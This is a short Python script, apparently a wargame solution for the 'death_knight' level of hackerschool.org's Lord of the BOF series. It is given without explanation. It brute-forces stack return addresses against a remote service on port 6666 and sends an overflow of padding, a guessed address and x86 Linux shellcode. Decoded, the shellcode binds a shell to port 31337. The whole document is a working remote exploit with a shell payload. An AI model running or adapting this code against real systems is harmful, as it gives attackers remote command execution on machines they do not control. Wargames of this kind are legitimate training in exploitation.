hackerschool.org_LOB_death_knight

#!/usr/bin/env python
import socket
import struct
address = "ip", 6666
for x in range(0xbffff001, 0xc0000000):
    if x & 0x000000ff == 0:continue
    if x & 0x0000ff00 == 0:continue
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(address)
    s.recv(255)
    code = "A"*44+struct.pack("<L", x)
    code = code + "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
    s.send(code)
    s.close()
    if x == 0xbfffffff:
        print "end!"